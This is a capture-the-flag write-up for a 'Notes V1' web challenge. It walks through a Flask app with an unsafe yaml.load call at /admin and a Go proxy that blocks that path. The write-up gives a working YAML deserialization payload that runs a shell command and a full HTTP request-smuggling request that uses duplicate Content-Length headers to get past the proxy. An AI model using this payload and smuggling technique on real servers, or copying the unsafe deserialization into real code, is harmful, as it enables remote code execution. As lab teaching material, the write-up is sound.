Notes V1

Description
Is there more to the Simple Notes app than meets the eye?

Author: L0xm1

Solution
We are given with a notes-app where we can add notes and edit notes. Lets dive into the source code given.

app.py

from flask import Flask, request, render_template, redirect, url_for
from werkzeug.serving import WSGIRequestHandler
import os 
import yaml
from yaml import *
import uuid
from threading import Thread

app = Flask(__name__)
notes = []


@app.route('/', methods=['GET', 'POST'])
def index():
    if request.method == 'POST':
        title = request.form['title']
        content = request.form['content']
        note_id = str(uuid.uuid4())
        notes.append({'id': note_id, 'title': title, 'content': content})
        return redirect(url_for('index'))
    else:
        return render_template('index.html', notes=notes)

@app.route('/add_note', methods=['POST'])
def add_note():
    title = request.form['title']
    content = request.form['content']
    note_id = str(uuid.uuid4())
    notes.append({'id': note_id, 'title': title, 'content': content})
    return render_template('index.html', notes=notes)

@app.route('/edit_note/<note_id>', methods=['GET', 'POST'])
def edit_note(note_id):
    note = next((note for note in notes if note['id'] == note_id), None)
    if note:
        if request.method == 'POST':
            title = request.form['title']
            content = request.form['content']
            note['title'] = title
            note['content'] = content
            return redirect(url_for('index'))
        else:
            return render_template('edit.html', note=note)
    else:
        return 'Note not found', 404

@app.route('/admin', methods=['GET'])
def serialize():
    data=request.args.get('data')
    if data:
        deserialized=yaml.load(data,Loader=Loader)
        return deserialized
    else:
        return "No data provided"


if __name__ == '__main__':
    WSGIRequestHandler.protocol_version = "HTTP/1.1"
    app.run(host='0.0.0.0', port=5000, threaded=True, debug=False)

In /admin endpoint, yaml.load() is used which is vulnerable to deserialization vulnerability and a user can get RCE.

We can use the following payload to read the flag.

!!python/object/apply:subprocess.check_output
args:
- - cat
  - flag.txt

But if we look into the go-proxy code, the /admin endpoint is prohibitted from accessing.

main.go

package main

import (
    "log"
    "net/http"
    "net/http/httputil"
    "net/url"
)

type loggingResponseWriter struct {
    http.ResponseWriter
}

func (lrw *loggingResponseWriter) Write(b []byte) (int, error) {
    log.Printf("Response Body: %s\n", string(b))
    return lrw.ResponseWriter.Write(b)
}

func loggingHandler(h http.Handler) http.Handler {
    return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
        // log.Printf("Request Headers: %+v\n", r.Header)

        //  Set Connection: keep-alive header in the outgoing request
        //  r.Header.Set("Connection", "keep-alive")

        lrw := &loggingResponseWriter{w}
        h.ServeHTTP(lrw, r)

        // log.Printf("Response Headers: %+v\n", lrw.Header())
    })
}

func main() {
    origin, err := url.Parse("http://localhost:5000")
    if err != nil {
        panic(err)
    }

    proxy := httputil.NewSingleHostReverseProxy(origin)

    http.DefaultTransport.(*http.Transport).MaxIdleConns = 500
    http.DefaultTransport.(*http.Transport).MaxIdleConnsPerHost = 100

    http.Handle("/", loggingHandler(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
        if r.URL.Path == "/admin" {
            http.Error(w, "Access to /admin is prohibited", http.StatusForbidden)
            return
        }
        proxy.ServeHTTP(w, r)
    })))
    log.Println("Server started at :8000...")
    log.Fatal(http.ListenAndServe(":8000", nil))

}

We need to bypass the proxy to reach /admin endpoint and we can get RCE using yaml deserialization vulnerability.

How will we bypass the proxy?

In Werkzeug, underscores (_) are converted to hyphens (-) and interpreted as such. This means that the Content_Length header is treated in the same way as Content-Length. So we can give Content-Length and Content_Length, such that the go-proxy will consider only the first Content-Length header, and Werkzeug will consider the second Content_Length header. We can use this trick to smuggle our request to /admin endpoint, thus bypassing the proxy.

Combining everything, we can smuggle our request to /admin endpoint using the following request and get the flag.

POST / HTTP/1.1
Host: localhost:8000
Content-Length: 151
Content_Length: 0

GET /admin?data=%21%21python%2Fobject%2Fapply%3Asubprocess.check_output%0Aargs%3A%0A-%20-%20cat%0A%20%20-%20flag.txt HTTP/1.1
Host: localhost:8000

GET / HTTP/1.1
Host: localhost:8000

Flag: shaktictf{c0ngr4ts_y0u_bypassed_the_proxy}